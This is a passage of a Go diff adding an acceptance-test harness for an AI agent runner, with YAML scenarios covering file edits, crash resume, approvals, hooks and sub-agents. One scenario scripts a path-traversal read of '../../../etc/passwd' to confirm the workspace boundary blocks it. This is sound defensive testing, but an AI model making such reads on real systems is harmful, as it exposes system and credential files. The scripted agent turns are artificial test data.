os.Getenv("GEMINI_API_KEY") == "" { + return "requires live credentials (GEMINI_API_KEY unset)", true + } + case "testbed": + if os.Getenv("AGENTRUNNER_TESTBED") == "" { + return "requires testbed (AGENTRUNNER_TESTBED unset)", true + } + } + } + return "", false +} + +func (r *Runner) fail(res Result, start time.Time, msg, output string) Result { + res.Status = StatusFail + res.Detail = msg + if output != "" { + res.Detail += "\n--- output ---\n" + tail(output, 2000) + } + res.Duration = time.Since(start) + return res +} + +func checkExpect(exp Expect, scratch, output string, lastExit int) string { + switch { + case exp.ExitCode != nil: + if lastExit != *exp.ExitCode { + return fmt.Sprintf("exit_code = %d, want %d", lastExit, *exp.ExitCode) + } + case exp.OutputContains != "": + if !strings.Contains(output, exp.OutputContains) { + return fmt.Sprintf("output does not contain %q", exp.OutputContains) + } + case exp.FileContains != nil: + raw, err := os.ReadFile(filepath.Join(scratch, exp.FileContains.Path)) + if err != nil { + return fmt.Sprintf("file_contains: %v", err) + } + if !strings.Contains(string(raw), exp.FileContains.Text) { + return fmt.Sprintf("%s does not contain %q", exp.FileContains.Path, exp.FileContains.Text) + } + case exp.EventsValid != "": + return checkEvents(filepath.Join(scratch, exp.EventsValid)) + } + return "" +} + +// checkEvents verifies every matched event log is complete: ≥1 line, every +// line a well-formed envelope with gapless seq, first event run_started and +// last event run_ended (a truncated log must not pass). +func checkEvents(glob string) string { + matches, err := filepath.Glob(glob) + if err != nil || len(matches) == 0 { + return fmt.Sprintf("events_valid: no files match %s", glob) + } + for _, path := range matches { + raw, err := os.ReadFile(path) + if err != nil { + return err.Error() + } + lines := strings.Split(strings.TrimRight(string(raw), "\n"), "\n") + if len(lines) == 0 || lines[0] == "" { + return fmt.Sprintf("events_valid: %s is empty", path) + } + var types []string + for i, line := range lines { + var rec struct { + Seq int64 `json:"seq"` + ID string `json:"id"` + Type string `json:"type"` + TS string `json:"ts"` + Payload json.RawMessage `json:"payload"` + } + if err := json.Unmarshal([]byte(line), &rec); err != nil || rec.Type == "" || len(rec.Payload) == 0 { + return fmt.Sprintf("events_valid: %s line %d malformed: %s", path, i+1, line) + } + if _, err := time.Parse(time.RFC3339Nano, rec.TS); err != nil { + return fmt.Sprintf("events_valid: %s line %d bad ts %q", path, i+1, rec.TS) + } + if rec.Seq != int64(i+1) { + return fmt.Sprintf("events_valid: %s line %d seq = %d, want %d (gapless)", path, i+1, rec.Seq, i+1) + } + if want := fmt.Sprintf("evt-%d", rec.Seq); rec.ID != want { + return fmt.Sprintf("events_valid: %s line %d id = %q, want %q", path, i+1, rec.ID, want) + } + if _, known := event.Registry[rec.Type]; !known { + return fmt.Sprintf("events_valid: %s line %d unknown event type %q", path, i+1, rec.Type) + } + types = append(types, rec.Type) + } + // Two journal shapes share the format: a RUN journal opens with + // run_started and closes with run_ended; a DRIVER stream opens with + // driver_started (S7 header; S6 streams opened with the first + // iteration_scheduled) and closes with driver_completed. + first, last := types[0], types[len(types)-1] + switch first { + case "run_started": + if last != "run_ended" { + return fmt.Sprintf("events_valid: %s last event is %q, want run_ended (truncated?)", path, last) + } + case "driver_started", "iteration_scheduled": + if last != "driver_completed" { + return fmt.Sprintf("events_valid: %s last event is %q, want driver_completed (truncated?)", path, last) + } + default: + return fmt.Sprintf("events_valid: %s first event is %q, want run_started, driver_started or iteration_scheduled", path, first) + } + } + return "" +} + +func tail(s string, n int) string { + if len(s) <= n { + return s + } + return "…" + s[len(s)-n:] +} diff --git a/internal/accept/accept_test.go b/internal/accept/accept_test.go new file mode 100644 index 0000000..08e6329 --- /dev/null +++ b/internal/accept/accept_test.go @@ -0,0 +1,50 @@ +package accept + +import ( + "strings" + "testing" +) + +func TestLoadStage1(t *testing.T) { + scenarios, err := LoadStage(1) + if err != nil { + t.Fatal(err) + } + if len(scenarios) != 4 { + t.Fatalf("scenarios = %d, want 4", len(scenarios)) + } + for _, s := range scenarios { + if s.ID == "" || s.Title == "" { + t.Errorf("incomplete scenario: %+v", s) + } + } + if _, err := LoadStage(99); err == nil { + t.Error("stage 99 should not exist") + } +} + +func TestRunnerFailurePath(t *testing.T) { + zero := 0 + r := &Runner{Bin: "/bin/true"} + res := r.Run(Scenario{ + ID: "x", Title: "fails", + Steps: []Step{{Run: "echo actual-output"}}, + Expect: []Expect{{ExitCode: &zero}, {OutputContains: "never-there"}}, + }) + if res.Status != StatusFail || !strings.Contains(res.Detail, "never-there") { + t.Fatalf("res = %+v", res) + } +} + +func TestRunnerSkip(t *testing.T) { + t.Setenv("GEMINI_API_KEY", "") + r := &Runner{Bin: "/bin/true"} + res := r.Run(Scenario{ + ID: "x", Title: "live-gated", Requires: []string{"live"}, + Steps: []Step{{Run: "true"}}, + Expect: []Expect{{OutputContains: "x"}}, + }) + if res.Status != StatusSkipped { + t.Fatalf("res = %+v", res) + } +} diff --git a/internal/accept/render.go b/internal/accept/render.go new file mode 100644 index 0000000..43a2c58 --- /dev/null +++ b/internal/accept/render.go @@ -0,0 +1,69 @@ +package accept + +import ( + "encoding/json" + "fmt" + "io" + "os" + "time" +) + +// Report is the machine-readable outcome (always written — loop-mode agents +// read it to self-judge). +type Report struct { + Stage int `json:"stage"` + Results []Result `json:"results"` + Pass int `json:"pass"` + Fail int `json:"fail"` + Skipped int `json:"skipped"` + Aborted int `json:"aborted"` + FinishedAt time.Time `json:"finished_at"` +} + +// Green reports whether the stage gate is satisfied: no failures and no +// aborted/unrun scenarios (an aborted TUI run must not read as success). +func (rep Report) Green() bool { + return rep.Fail == 0 && rep.Aborted == 0 && rep.Pass+rep.Fail+rep.Skipped == len(rep.Results) +} + +// BuildReport aggregates results. +func BuildReport(stage int, results []Result) Report { + rep := Report{Stage: stage, Results: results, FinishedAt: time.Now().UTC()} + for _, r := range results { + switch r.Status { + case StatusPass: + rep.Pass++ + case StatusFail: + rep.Fail++ + case StatusSkipped: + rep.Skipped++ + default: + rep.Aborted++ + } + } + return rep +} + +// WriteJSON writes the report file (0644; gitignored). +func (rep Report) WriteJSON(path string) error { + data, err := json.MarshalIndent(rep, "", " ") + if err != nil { + return err + } + return os.WriteFile(path, data, 0o644) +} + +// RenderPlain prints one line per scenario plus a summary (non-TTY path). +func RenderPlain(w io.Writer, rep Report) { + for _, r := range rep.Results { + mark := map[Status]string{StatusPass: "✓", StatusFail: "✗", StatusSkipped: "–", StatusAborted: "!"}[r.Status] + fmt.Fprintf(w, "%s %-7s %-28s %s (%.1fs)\n", mark, r.Status, r.ID, r.Title, r.Duration.Seconds()) + if r.Status == StatusFail { + fmt.Fprintf(w, " %s\n", r.Detail) + } + if r.Status == StatusSkipped { + fmt.Fprintf(w, " (%s)\n", r.Detail) + } + } + fmt.Fprintf(w, "\nstage %d: %d PASS, %d FAIL, %d SKIPPED, %d ABORTED\n", rep.Stage, rep.Pass, rep.Fail, rep.Skipped, rep.Aborted) +} diff --git a/internal/accept/report_test.go b/internal/accept/report_test.go new file mode 100644 index 0000000..c5a8fca --- /dev/null +++ b/internal/accept/report_test.go @@ -0,0 +1,112 @@ +package accept + +import ( + "os" + "strings" + "testing" +) + +func TestReportGreenGates(t *testing.T) { + pass := Result{ID: "a", Status: StatusPass} + skip := Result{ID: "b", Status: StatusSkipped} + fail := Result{ID: "c", Status: StatusFail} + aborted := Result{ID: "d", Status: StatusAborted} + + cases := []struct { + name string + results []Result + green bool + }{ + {"all pass", []Result{pass, pass}, true}, + {"pass + skip", []Result{pass, skip}, true}, + {"any fail", []Result{pass, fail}, false}, + {"aborted is not green", []Result{pass, aborted}, false}, + {"zero-valued result is not green", []Result{pass, {ID: "e"}}, false}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + rep := BuildReport(1, tc.results) + if rep.Green() != tc.green { + t.Errorf("Green() = %v, want %v (report %+v)", rep.Green(), tc.green, rep) + } + }) + } +} + +func TestParseScenarioStrictness(t *testing.T) { + base := ` +id: x +title: t +steps: [{run: "true"}] +` + // Typo'd expect key must be a load error, never a silent pass. + if _, err := parseScenario("typo.yaml", []byte(base+` +expect: + - output_contain: "oops" +`)); err == nil || !strings.Contains(err.Error(), "not found") { + t.Errorf("typo'd key: err = %v, want strict decode error", err) + } + + // An expect with zero assertions set must be rejected. + if _, err := parseScenario("empty.yaml", []byte(base+` +expect: + - {} +`)); err == nil || !strings.Contains(err.Error(), "exactly one") { + t.Errorf("empty expect: err = %v, want exactly-one validation", err) + } + + // Two assertions in one expect entry must be rejected. + if _, err := parseScenario("double.yaml", []byte(base+` +expect: + - exit_code: 0 + output_contains: "x" +`)); err == nil || !strings.Contains(err.Error(), "exactly one") { + t.Errorf("double expect: err = %v, want exactly-one validation", err) + } +} + +func TestCheckEventsRequiresTerminalEvent(t *testing.T) { + dir := t.TempDir() + write := func(name, content string) { + t.Helper() + if err := os.WriteFile(dir+"/"+name, []byte(content), 0o600); err != nil { + t.Fatal(err) + } + } + + const ts = "2026-07-03T00:00:00Z" + good := `{"seq":1,"id":"evt-1","type":"run_started","ts":"` + ts + `","payload":{}} +{"seq":2,"id":"evt-2","type":"run_ended","ts":"` + ts + `","payload":{}} +` + truncated := `{"seq":1,"id":"evt-1","type":"run_started","ts":"` + ts + `","payload":{}} +{"seq":2,"id":"evt-2","type":"activity_started","ts":"` + ts + `","payload":{}} +` + gapped := `{"seq":1,"id":"evt-1","type":"run_started","ts":"` + ts + `","payload":{}} +{"seq":3,"id":"evt-3","type":"run_ended","ts":"` + ts + `","payload":{}} +` + write("good.jsonl", good) + if msg := checkEvents(dir + "/good.jsonl"); msg != "" { + t.Errorf("good log rejected: %s", msg) + } + write("trunc.jsonl", truncated) + if msg := checkEvents(dir + "/trunc.jsonl"); !strings.Contains(msg, "run_ended") { + t.Errorf("truncated log accepted: %q", msg) + } + write("gap.jsonl", gapped) + if msg := checkEvents(dir + "/gap.jsonl"); !strings.Contains(msg, "gapless") { + t.Errorf("gapped log accepted: %q", msg) + } + + badTS := `{"seq":1,"id":"evt-1","type":"run_started","ts":"garbage","payload":{}} +` + write("badts.jsonl", badTS) + if msg := checkEvents(dir + "/badts.jsonl"); !strings.Contains(msg, "bad ts") { + t.Errorf("garbage ts accepted: %q", msg) + } + unknownType := `{"seq":1,"id":"evt-1","type":"seance","ts":"` + ts + `","payload":{}} +` + write("unknown.jsonl", unknownType) + if msg := checkEvents(dir + "/unknown.jsonl"); !strings.Contains(msg, "unknown event type") { + t.Errorf("unknown type accepted: %q", msg) + } +} diff --git a/internal/accept/scenarios/s1/e2e-fix-file.yaml b/internal/accept/scenarios/s1/e2e-fix-file.yaml new file mode 100644 index 0000000..b5bba70 --- /dev/null +++ b/internal/accept/scenarios/s1/e2e-fix-file.yaml @@ -0,0 +1,31 @@ +id: s1-01-e2e-fix-file +title: agent 端到端完成"读文件并修正内容"任务(scripted) +files: + spec.yaml: | + name: fixer + model: { provider: scripted, id: x } + system_prompt: You are a coding agent. + tools: [read_file, edit_file] + permissions: + - { action: allow } + fix.yaml: | + steps: + - respond: + - text: "reading" + - tool_call: { name: read_file, args: { path: note.txt } } + - finish: tool_use + - respond: + - tool_call: + name: edit_file + args: { path: note.txt, old: "magic 41", new: "magic 42" } + - finish: tool_use + - respond: + - text: "fixed the magic number" + - finish: end_turn + ws/note.txt: "magic 41\n" +steps: + - run: AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/fix.yaml $BIN run --workspace ws spec.yaml "fix the magic number" +expect: + - exit_code: 0 + - output_contains: "fixed the magic number" + - file_contains: { path: ws/note.txt, text: "magic 42" } diff --git a/internal/accept/scenarios/s1/e2e-fix-test.yaml b/internal/accept/scenarios/s1/e2e-fix-test.yaml new file mode 100644 index 0000000..68fa21e --- /dev/null +++ b/internal/accept/scenarios/s1/e2e-fix-test.yaml @@ -0,0 +1,56 @@ +id: s1-04-e2e-fix-test +title: agent 经 CLI 修复真实 Go 工程的失败测试(read → edit → go test 全链路) +files: + spec.yaml: | + name: fixer + model: { provider: scripted, id: x } + system_prompt: You are a coding agent. + tools: [read_file, edit_file, bash] + permissions: + - { action: allow } + fix.yaml: | + steps: + - respond: + - text: "inspecting the code" + - tool_call: { name: read_file, args: { path: mathx/mathx.go } } + - finish: tool_use + - respond: + - tool_call: + name: edit_file + args: { path: mathx/mathx.go, old: "return a - b", new: "return a + b" } + - finish: tool_use + - respond: + - tool_call: { name: bash, args: { command: "go test ./..." } } + - finish: tool_use + - respond: + - text: "tests pass after the fix" + - finish: end_turn + ws/go.mod: | + module samplerepo + + go 1.24 + ws/mathx/mathx.go: | + // Package mathx provides arithmetic helpers. + package mathx + + // Add returns the sum of a and b. + func Add(a, b int) int { + return a - b // BUG: should be a + b + } + ws/mathx/mathx_test.go: | + package mathx + + import "testing" + + func TestAdd(t *testing.T) { + if got := Add(2, 3); got != 5 { + t.Errorf("Add(2, 3) = %d, want 5", got) + } + } +steps: + - run: AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/fix.yaml $BIN run --workspace ws spec.yaml "Fix the failing test in this repo." +expect: + - exit_code: 0 + - output_contains: '"exit_code":0' + - output_contains: "tests pass after the fix" + - file_contains: { path: ws/mathx/mathx.go, text: "return a + b" } diff --git a/internal/accept/scenarios/s1/events-readable.yaml b/internal/accept/scenarios/s1/events-readable.yaml new file mode 100644 index 0000000..ce483af --- /dev/null +++ b/internal/accept/scenarios/s1/events-readable.yaml @@ -0,0 +1,17 @@ +id: s1-02-events-readable +title: 每次 run 产生完整可读的事件日志(逐行 JSON envelope,seq 无缝隙) +files: + spec.yaml: | + name: chatter + model: { provider: scripted, id: x } + system_prompt: help + fix.yaml: | + steps: + - respond: + - text: "hello there" + - finish: end_turn +steps: + - run: AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/fix.yaml $BIN run --workspace . spec.yaml "say hi" +expect: + - exit_code: 0 + - events_valid: xdg/agentrunner/sessions/*/events.jsonl diff --git a/internal/accept/scenarios/s1/workspace-escape.yaml b/internal/accept/scenarios/s1/workspace-escape.yaml new file mode 100644 index 0000000..a664d3e --- /dev/null +++ b/internal/accept/scenarios/s1/workspace-escape.yaml @@ -0,0 +1,23 @@ +id: s1-03-workspace-escape +title: 工具无法逃逸 workspace 边界(路径穿越被拒且 run 正常继续) +files: + spec.yaml: | + name: sneaky + model: { provider: scripted, id: x } + system_prompt: help + tools: [read_file] + fix.yaml: | + steps: + - respond: + - tool_call: { name: read_file, args: { path: "../../../etc/passwd" } } + - finish: tool_use + - respond: + - text: "escape was blocked as expected" + - finish: end_turn + ws/keep.txt: "boundary test\n" +steps: + - run: AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/fix.yaml $BIN run --workspace ws spec.yaml "try to escape" +expect: + - exit_code: 0 + - output_contains: "path escapes workspace" + - output_contains: "escape was blocked as expected" diff --git a/internal/accept/scenarios/s2/crash-resume.yaml b/internal/accept/scenarios/s2/crash-resume.yaml new file mode 100644 index 0000000..7c19df6 --- /dev/null +++ b/internal/accept/scenarios/s2/crash-resume.yaml @@ -0,0 +1,37 @@ +id: s2-01-crash-resume +title: 中途被杀的 run 可以 resume 并分毫不差地完成(崩溃矩阵的端到端样本) +files: + spec.yaml: | + name: fixer + model: { provider: scripted, id: x } + system_prompt: fix things + tools: [read_file, edit_file] + permissions: + - { action: allow } + greet.txt: "hello world" + crash-fix.yaml: | + steps: + - respond: + - tool_call: { name: read_file, args: { path: greet.txt } } + - tool_call: { name: edit_file, args: { path: greet.txt, old: hello world, new: HELLO WORLD } } + - finish: tool_use + - respond: + - text: unreachable + - finish: end_turn + resume-fix.yaml: | + steps: + - respond: + - text: all done + - finish: end_turn +steps: + - run: > + AGENTRUNNER_CRASH=after:turn_started:2 + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/crash-fix.yaml + $BIN run --workspace . spec.yaml "make it loud"; test $? -eq 137 + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/resume-fix.yaml + $BIN resume $(ls $XDG_DATA_HOME/agentrunner/sessions | head -1) +expect: + - exit_code: 0 + - file_contains: { path: greet.txt, text: "HELLO WORLD" } + - events_valid: xdg/agentrunner/sessions/*/events.jsonl diff --git a/internal/accept/scenarios/s2/debug-tooling.yaml b/internal/accept/scenarios/s2/debug-tooling.yaml new file mode 100644 index 0000000..7ef5c0d --- /dev/null +++ b/internal/accept/scenarios/s2/debug-tooling.yaml @@ -0,0 +1,20 @@ +id: s2-04-debug-tooling +title: events 调试工具能美化打印事件流并转储 fold 状态 +files: + spec.yaml: | + name: chatter + model: { provider: scripted, id: x } + system_prompt: help + hi.yaml: | + steps: + - respond: + - text: "hello there" + - finish: end_turn +steps: + - run: AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/hi.yaml $BIN run --workspace . spec.yaml "say hi" + - run: $BIN events $(ls $XDG_DATA_HOME/agentrunner/sessions | head -1) + - run: $BIN events $(ls $XDG_DATA_HOME/agentrunner/sessions | head -1) --state +expect: + - exit_code: 0 + - output_contains: "run_ended" + - output_contains: '"reason": "completed"' diff --git a/internal/accept/scenarios/s2/in-doubt.yaml b/internal/accept/scenarios/s2/in-doubt.yaml new file mode 100644 index 0000000..628e8c7 --- /dev/null +++ b/internal/accept/scenarios/s2/in-doubt.yaml @@ -0,0 +1,28 @@ +id: s2-02-in-doubt +title: 执行了却没记账的副作用在 resume 时上浮为 in-doubt,拒绝重跑 +files: + spec.yaml: | + name: doubter + model: { provider: scripted, id: x } + system_prompt: leave a mark + tools: [bash] + permissions: + - { action: allow } + mark.yaml: | + steps: + - respond: + - tool_call: { name: bash, args: { command: "echo ran >> marker.txt" } } + - finish: tool_use +steps: + - run: > + AGENTRUNNER_CRASH=point:after_exec_before_journal:2 + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/mark.yaml + $BIN run --workspace . spec.yaml "leave a mark"; test $? -eq 137 + - run: test "$(grep -c ran marker.txt)" = "1" + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/mark.yaml + $BIN resume $(ls $XDG_DATA_HOME/agentrunner/sessions | head -1) 2>&1; + code=$?; test "$(grep -c ran marker.txt)" = "1" && test $code -eq 1 +expect: + - exit_code: 0 + - output_contains: "in doubt" diff --git a/internal/accept/scenarios/s2/waiting-survives.yaml b/internal/accept/scenarios/s2/waiting-survives.yaml new file mode 100644 index 0000000..8748d59 --- /dev/null +++ b/internal/accept/scenarios/s2/waiting-survives.yaml @@ -0,0 +1,17 @@ +id: s2-03-waiting-survives +title: 等待状态跨进程存活(合成 event;sessions list 与 events --state 都能看见) +files: + seed.sh: | + set -e + sess="$XDG_DATA_HOME/agentrunner/sessions/20260703-000000-park-cafe" + mkdir -p "$sess" + printf '%s\n%s\n' \ + '{"seq":1,"id":"evt-1","type":"run_started","payload":{"spec_name":"parked","sub_state_versions":{"conversation":1,"activities":1,"waiting":1,"timers":1,"run":1}},"ts":"2026-07-03T00:00:00Z"}' \ + '{"seq":2,"id":"evt-2","type":"waiting_entered","payload":{"kind":"approval","detail":{"call_id":"call_1_0"}},"ts":"2026-07-03T00:00:01Z"}' \ + > "$sess/events.jsonl" +steps: + - run: sh seed.sh + - run: $BIN events 20260703 --state + - run: $BIN sessions list +expect: + - output_contains: "waiting:approval" diff --git a/internal/accept/scenarios/s3/approval-deny.yaml b/internal/accept/scenarios/s3/approval-deny.yaml new file mode 100644 index 0000000..10c2bbf --- /dev/null +++ b/internal/accept/scenarios/s3/approval-deny.yaml @@ -0,0 +1,27 @@ +id: s3-02-approval-deny-continues +title: 审批拒绝渲染给模型,run 正常继续收尾;文件未被改动 +files: + spec.yaml: | + name: careful + model: { provider: scripted, id: x } + system_prompt: help + tools: [edit_file] + greet.txt: "hello world" + ask.yaml: | + steps: + - respond: + - tool_call: { name: edit_file, args: { path: greet.txt, old: hello world, new: HELLO WORLD } } + - finish: tool_use + - expect: + last_message_contains: "denied" + respond: + - text: "understood, not editing" + - finish: end_turn +steps: + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/ask.yaml + $BIN run --workspace . spec.yaml "change the greeting" +expect: + - exit_code: 0 + - file_contains: { path: greet.txt, text: "hello world" } + - events_valid: xdg/agentrunner/sessions/*/events.jsonl diff --git a/internal/accept/scenarios/s3/plan-mode.yaml b/internal/accept/scenarios/s3/plan-mode.yaml new file mode 100644 index 0000000..13a7a4d --- /dev/null +++ b/internal/accept/scenarios/s3/plan-mode.yaml @@ -0,0 +1,37 @@ +id: s3-01-plan-mode +title: plan mode 全流程:只读面 + 注入提示 → exit_plan_mode 审批 → default 模式下编辑 +files: + spec.yaml: | + name: planner + model: { provider: scripted, id: x } + system_prompt: help + mode: plan + tools: [read_file, edit_file, exit_plan_mode] + greet.txt: "hello world" + plan.yaml: | + steps: + - expect: + tools_include: [read_file, exit_plan_mode] + tools_exclude: [edit_file] + respond: + - text: "plan ready" + - tool_call: { name: exit_plan_mode, args: { plan: "edit greet.txt" } } + - finish: tool_use + - expect: + tools_include: [edit_file] + respond: + - tool_call: { name: edit_file, args: { path: greet.txt, old: hello world, new: HELLO WORLD } } + - finish: tool_use + - respond: + - text: "done" + - finish: end_turn +steps: + - run: > + AGENTRUNNER_APPROVE=always + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/plan.yaml + $BIN run --workspace . spec.yaml "improve the greeting" + - run: $BIN events $(ls $XDG_DATA_HOME/agentrunner/sessions | head -1) +expect: + - exit_code: 0 + - file_contains: { path: greet.txt, text: "HELLO WORLD" } + - output_contains: "mode_changed" diff --git a/internal/accept/scenarios/s3/untrusted-hooks.yaml b/internal/accept/scenarios/s3/untrusted-hooks.yaml new file mode 100644 index 0000000..c21f18a --- /dev/null +++ b/internal/accept/scenarios/s3/untrusted-hooks.yaml @@ -0,0 +1,35 @@ +id: s3-03-untrusted-hooks +title: 不受信 repo 的 hooks 不执行;trust 之后才执行 +files: + spec.yaml: | + name: hooked + model: { provider: scripted, id: x } + system_prompt: help + tools: [bash] + permissions: + - { action: allow } + .agentrunner/settings.yaml: | + hooks: + pre_tool: + - echo hooked >> hook-ran.txt + fix.yaml: | + steps: + - respond: + - tool_call: { name: bash, args: { command: "true" } } + - finish: tool_use + - respond: + - text: "done" + - finish: end_turn +steps: + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/fix.yaml + $BIN run --workspace . spec.yaml "run true" 2>&1; + test ! -f hook-ran.txt + - run: $BIN trust $SCRATCH + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/fix.yaml + $BIN run --workspace . spec.yaml "run true again" +expect: + - exit_code: 0 + - file_contains: { path: hook-ran.txt, text: "hooked" } + - output_contains: "untrusted" diff --git a/internal/accept/scenarios/s4/blocked-finish.yaml b/internal/accept/scenarios/s4/blocked-finish.yaml new file mode 100644 index 0000000..6db7447 --- /dev/null +++ b/internal/accept/scenarios/s4/blocked-finish.yaml @@ -0,0 +1,22 @@ +id: s4-04-blocked-finish +title: blocked/safety 收尾——文本保留、用户可见 error、run_ended{blocked} +files: + careful.yaml: | + name: careful + model: { provider: scripted, id: x, max_tokens: 100 } + system_prompt: careful + tools: [read_file] + blocked.yaml: | + steps: + - respond: + - text: "I cannot continue with that" + - finish: blocked +steps: + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/blocked.yaml + $BIN run --workspace . careful.yaml "do the thing" || test $? -eq 1 + - run: grep -q '"reason":"blocked"' xdg/agentrunner/sessions/*/events.jsonl +expect: + - exit_code: 0 + - output_contains: "I cannot continue" + - events_valid: xdg/agentrunner/sessions/*/events.jsonl diff --git a/internal/accept/scenarios/s4/compaction.yaml b/internal/accept/scenarios/s4/compaction.yaml new file mode 100644 index 0000000..b86d32e --- /dev/null +++ b/internal/accept/scenarios/s4/compaction.yaml @@ -0,0 +1,30 @@ +id: s4-02-compaction +title: 上下文超阈值时 turn 边界压缩——ContextCompacted 落盘,run 照常完成 +files: + chatty.yaml: | + name: chatty + model: { provider: scripted, id: x, max_tokens: 100, compact_at_tokens: 200 } + system_prompt: elaborate + tools: [bash] + permissions: + - { action: allow } + compact.yaml: | + steps: + - respond: + - text: "long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long long" + - tool_call: { name: bash, args: { command: "true" } } + - finish: tool_use + - respond: + - text: "summary of everything so far" + - finish: end_turn + - respond: + - text: "done after compaction" + - finish: end_turn +steps: + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/compact.yaml + $BIN run --workspace . chatty.yaml "talk a lot" + - run: grep -q context_compacted xdg/agentrunner/sessions/*/events.jsonl +expect: + - exit_code: 0 + - events_valid: xdg/agentrunner/sessions/*/events.jsonl diff --git a/internal/accept/scenarios/s4/malformed-retry.yaml b/internal/accept/scenarios/s4/malformed-retry.yaml new file mode 100644 index 0000000..c34a3ff --- /dev/null +++ b/internal/accept/scenarios/s4/malformed-retry.yaml @@ -0,0 +1,25 @@ +id: s4-03-malformed-retry +title: malformed_tool_call 记档并重试同 turn,后续正常完成 +files: + flaky.yaml: | + name: flaky + model: { provider: scripted, id: x, max_tokens: 100 } + system_prompt: try + tools: [read_file] + mal.yaml: | + steps: + - respond: + - text: "garbled" + - finish: malformed_tool_call + - respond: + - text: "recovered cleanly" + - finish: end_turn +steps: + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/mal.yaml + $BIN run --workspace . flaky.yaml "go" + - run: grep -q malformed_tool_call xdg/agentrunner/sessions/*/events.jsonl +expect: + - exit_code: 0 + - output_contains: "recovered cleanly" + - events_valid: xdg/agentrunner/sessions/*/events.jsonl diff --git a/internal/accept/scenarios/s4/parallel-tools.yaml b/internal/accept/scenarios/s4/parallel-tools.yaml new file mode 100644 index 0000000..96ea0cf --- /dev/null +++ b/internal/accept/scenarios/s4/parallel-tools.yaml @@ -0,0 +1,28 @@ +id: s4-01-parallel-tool-calls +title: 同一 assistant turn 的多个 tool call 全部执行,结果按原序回填 +files: + worker.yaml: | + name: worker + model: { provider: scripted, id: x, max_tokens: 100 } + system_prompt: do both + tools: [bash] + permissions: + - { action: allow } + par.yaml: | + steps: + - respond: + - tool_call: { name: bash, args: { command: "echo alpha > a.txt" } } + - tool_call: { name: bash, args: { command: "echo beta > b.txt" } } + - finish: tool_use + - respond: + - text: "both done" + - finish: end_turn +steps: + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/par.yaml + $BIN run --workspace . worker.yaml "run both commands" +expect: + - exit_code: 0 + - file_contains: { path: a.txt, text: "alpha" } + - file_contains: { path: b.txt, text: "beta" } + - events_valid: xdg/agentrunner/sessions/*/events.jsonl diff --git a/internal/accept/scenarios/s5/budget-seal.yaml b/internal/accept/scenarios/s5/budget-seal.yaml new file mode 100644 index 0000000..d8dde5c --- /dev/null +++ b/internal/accept/scenarios/s5/budget-seal.yaml @@ -0,0 +1,42 @@ +id: s5-04-budget-seal +title: 否定——树预算 min 聚合:同 turn 双 spawn,第二个被预算拒,总额不击穿 +files: + lead.yaml: | + name: lead + model: { provider: scripted, id: x, max_tokens: 100 } + system_prompt: delegate twice + tools: [read_file] + agents: [worker] + budget: { max_total_tokens: 3000 } + permissions: + - { action: allow } + worker.yaml: | + name: worker + description: does one job + model: { provider: scripted, id: x, max_tokens: 100 } + system_prompt: work + tools: [read_file] + seal.yaml: | + steps: + - respond: + - tool_call: { name: spawn_agent, args: { agent: worker, task: job one } } + - tool_call: { name: spawn_agent, args: { agent: worker, task: job two } } + - usage: { input_tokens: 60, output_tokens: 40 } + - finish: tool_use + - respond: + - text: "only child reporting" + - usage: { input_tokens: 30, output_tokens: 20 } + - finish: end_turn + - respond: + - text: "one succeeded, one was denied by budget" + - usage: { input_tokens: 10, output_tokens: 5 } + - finish: end_turn +steps: + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/seal.yaml + $BIN run --workspace . lead.yaml "spawn both" + - run: test "$(ls xdg/agentrunner/sessions/*/sub | wc -l)" -eq 1 +expect: + - exit_code: 0 + - events_valid: xdg/agentrunner/sessions/*/events.jsonl + - events_valid: xdg/agentrunner/sessions/*/sub/*/events.jsonl diff --git a/internal/accept/scenarios/s5/fleet.yaml b/internal/accept/scenarios/s5/fleet.yaml new file mode 100644 index 0000000..df31376 --- /dev/null +++ b/internal/accept/scenarios/s5/fleet.yaml @@ -0,0 +1,59 @@ +id: s5-01-researcher-fleet +title: researcher 编队(parent + 2 子 agent)产出带 contract 检查的报告 artifact +files: + lead.yaml: | + name: lead + model: { provider: scripted, id: x, max_tokens: 100 } + system_prompt: coordinate the research + tools: [bash] + agents: [researcher, reviewer] + permissions: + - { action: allow } + outputs: + - { name: report, path: report.md, required: true } + researcher.yaml: | + name: researcher + description: digs into the topic + model: { provider: scripted, id: x, max_tokens: 100 } + system_prompt: research + tools: [bash] + reviewer.yaml: | + name: reviewer + description: checks the findings + model: { provider: scripted, id: x, max_tokens: 100 } + system_prompt: review + tools: [bash] + fleet.yaml: | + steps: + - respond: + - tool_call: { name: spawn_agent, args: { agent: researcher, task: dig in } } + - finish: tool_use + - respond: + - tool_call: { name: bash, args: { command: "echo finding-A > findings.md" } } + - finish: tool_use + - respond: + - text: "researched" + - finish: end_turn + - respond: + - tool_call: { name: spawn_agent, args: { agent: reviewer, task: check it } } + - finish: tool_use + - respond: + - text: "reviewed, looks good" + - finish: end_turn + - respond: + - tool_call: { name: bash, args: { command: "echo 'fleet report: finding-A (reviewed)' > report.md" } } + - finish: tool_use + - respond: + - text: "report assembled" + - finish: end_turn +steps: + - run: > + 